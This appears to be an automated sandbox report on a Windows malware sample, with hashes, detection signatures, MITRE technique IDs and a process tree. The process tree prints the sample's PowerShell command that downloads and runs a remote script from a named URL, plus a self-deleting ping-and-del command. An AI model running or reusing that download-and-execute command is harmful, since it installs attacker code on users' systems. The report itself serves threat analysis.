daba6aa332fac84534abce432c65388b1be0b2eb5cb19ac9220d519136a343d7

Analysis

max time kernel
80s
max time network
130s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
08-03-2023 10:21

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General

Target

daba6aa332fac84534abce432c65388b1be0b2eb5cb19ac9220d519136a343d7.exe
Size

150KB
MD5

64d5a984c5d0fd74b729be5b52c00389
SHA1

4c5478bd5fd7b58b9c89cbf375ef0005f6807e2f
SHA256

daba6aa332fac84534abce432c65388b1be0b2eb5cb19ac9220d519136a343d7
SHA512

87f290f55d3096ac48c82e192b49b9ff3eefa4f3c2ac6592d38e084e8bd8fc7bdc24169265d0cbce20ad6d0767aef521215b33a7cfa763fe73d3adf9184afcbf
SSDEEP

3072:JeNBJK/n4QA8UTemqn0MrWGeogELKibPKZ9zW2dWFMh0khBYGCw92jqsFM8At6:JeOYZw2dBkk9sa8A6

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://houssagynecologue.com/assets/js/debug2.ps1

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
16	4284	powershell.exe
22	4284	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\Control Panel\International\Geo\Nation	daba6aa332fac84534abce432c65388b1be0b2eb5cb19ac9220d519136a343d7.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2504	PING.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4284	powershell.exe
4284	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4284	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 2552 wrote to memory of 3692	2552	daba6aa332fac84534abce432c65388b1be0b2eb5cb19ac9220d519136a343d7.exe	82
PID 2552 wrote to memory of 3692	2552	daba6aa332fac84534abce432c65388b1be0b2eb5cb19ac9220d519136a343d7.exe	82
PID 3692 wrote to memory of 4284	3692	cmd.exe	84
PID 3692 wrote to memory of 4284	3692	cmd.exe	84
PID 2552 wrote to memory of 3048	2552	daba6aa332fac84534abce432c65388b1be0b2eb5cb19ac9220d519136a343d7.exe	97
PID 2552 wrote to memory of 3048	2552	daba6aa332fac84534abce432c65388b1be0b2eb5cb19ac9220d519136a343d7.exe	97
PID 2552 wrote to memory of 3048	2552	daba6aa332fac84534abce432c65388b1be0b2eb5cb19ac9220d519136a343d7.exe	97
PID 3048 wrote to memory of 2504	3048	cmd.exe	99
PID 3048 wrote to memory of 2504	3048	cmd.exe	99
PID 3048 wrote to memory of 2504	3048	cmd.exe	99

C:\Users\Admin\AppData\Local\Temp\daba6aa332fac84534abce432c65388b1be0b2eb5cb19ac9220d519136a343d7.exe
"C:\Users\Admin\AppData\Local\Temp\daba6aa332fac84534abce432c65388b1be0b2eb5cb19ac9220d519136a343d7.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2552
- C:\Windows\system32\cmd.exe
  "C:\Windows\sysnative\cmd.exe" /c "powershell -command IEX(New-Object Net.Webclient).DownloadString('https://houssagynecologue.com/assets/js/debug2.ps1')"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3692
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command IEX(New-Object Net.Webclient).DownloadString('https://houssagynecologue.com/assets/js/debug2.ps1')
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4284
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\daba6aa332fac84534abce432c65388b1be0b2eb5cb19ac9220d519136a343d7.exe" >> NUL
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3048
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:2504

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uhu4pest.tvs.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4284-138-0x000002BB39A70000-0x000002BB39A92000-memory.dmp

Filesize
136KB

Download
memory/4284-143-0x000002BB1EAE0000-0x000002BB1EAF0000-memory.dmp

Filesize
64KB

Download
memory/4284-144-0x000002BB1EAE0000-0x000002BB1EAF0000-memory.dmp

Filesize
64KB

Download
memory/4284-145-0x000002BB1EAE0000-0x000002BB1EAF0000-memory.dmp

Filesize
64KB

Download
memory/4284-146-0x000002BB1EAE0000-0x000002BB1EAF0000-memory.dmp

Filesize
64KB

Download
memory/4284-147-0x000002BB1EAE0000-0x000002BB1EAF0000-memory.dmp

Filesize
64KB

Download
memory/4284-148-0x000002BB1EAE0000-0x000002BB1EAF0000-memory.dmp

Filesize
64KB

Download